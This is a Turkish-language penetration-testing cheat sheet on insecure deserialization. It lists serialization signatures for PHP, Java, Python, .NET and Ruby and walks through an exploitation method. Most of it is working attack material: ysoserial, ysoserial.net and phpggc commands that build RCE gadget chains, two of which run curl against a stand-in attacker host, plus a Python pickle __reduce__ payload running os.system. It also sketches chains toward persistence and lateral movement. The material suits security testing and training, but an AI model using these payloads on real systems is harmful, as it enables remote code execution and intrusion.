Skip to content

Insecure Deserialization

OWASP A08 · Integrity Failures impact: yüksek (RCE)

Insecure Deserialization, uygulamanın güvenilmeyen kaynaktan gelen serileştirilmiş veriyi doğrulamadan nesneye dönüştürmesidir. Saldırgan, nesne alanlarını değiştirebilir (yetki yükseltme) veya var olan sınıfların (gadget) yan etkilerini zincirleyerek kod çalıştırabilir.

Çerezler, gizli form alanları, JWT olmayan session blob’ları, mesaj kuyrukları, RPC/RMI, cache (Redis/Memcached) değerleri, API gövdeleri. Tanınabilir imzalar:

PHP : O:4:"User":2:{...} (serialize())
a:2:{...} (array)
Java : rO0AB... / AC ED 00 05 (base64 / ham magic)
Python : pickle (\x80\x04... / base64)
.NET : AAEAAAD///// (BinaryFormatter base64)
TypeNameHandling ile JSON
Ruby : Marshal (\x04\x08...)
Node : node-serialize / serialize-javascript kötüye kullanımı
// Güvensiz
$obj = unserialize($_COOKIE['data']);

__wakeup, __destruct, __toString, __call gibi sihirli metotlar seri kaldırmada tetiklenir (POP — Property Oriented Programming).

// Örnek kötü niyetli serileştirilmiş nesne kalıbı
O:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}

allowed_classes kısıtı yoksa veya genişse gadget zinciri aranır. phar:// meta-verisi de deserialize tetikleyebilir (file operation + phar).

ObjectInputStream.readObject() güvenilmeyen akışta klasik RCE yüzeyidir. Classpath’teki kütüphaneler (Commons Collections, Spring, Hibernate vb.) gadget sağlar.

Terminal window
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.example/x' | base64 -w0
Terminal window
java -jar ysoserial.jar URLDNS http://uniq.oast.fun # DNS ile doğrulama (RCE değil)

Önce URLDNS / zaman farkı ile deserialize olduğunu kanıtla, sonra RCE gadget dene. ViewState (.NET değil, Java Faces) ve RMI/JMX de hedeflenir.

import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
print(pickle.dumps(RCE()))

yaml.load (güvensiz Loader), marshal, shelve benzer risk taşır.

BinaryFormatter, LosFormatter, NetDataContractSerializer, Json.NET TypeNameHandling.All sık görülen hedefler:

Terminal window
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64

ASP.NET ViewState, MAC doğrulaması kapalıysa veya machineKey biliniyorsa deserialize RCE’ye gidebilir.

  1. İmzayı tanı — cookie/parametre base64 decode et; magic byte / O: / rO0 ara.

  2. Değiştir ve gözle — nesne alanlarını (role=admin, user_id) manipüle ederek yetki yükseltmeyi dene (RCE’den önce düşük riskli kanıt).

  3. OAST gadget — Java URLDNS, PHP/Python’da DNS çeken payload ile deserialize doğrula.

  4. Gadget üret — framework’e göre ysoserial / phpggc / ysoserial.net.

Terminal window
phpggc -l
Terminal window
phpggc Laravel/RCE1 system id -b
Terminal window
phpggc Symfony/RCE4 exec 'curl http://attacker.example' -b
Terminal window
java -jar ysoserial.jar CommonsBeanutils1 'id' > payload.bin
Terminal window
ysoserial.net -f Json.Net -g ObjectDataProvider -c "whoami"
  • Deserialization → RCE → persistence
  • Upload (phar polyglot) + file_exists(phar://…) → PHP POP
  • Message queue (Java) deserialize → lateral movement
  • Yetki alanı değiştirme (isAdmin flag) → IDOR / admin fonksiyonları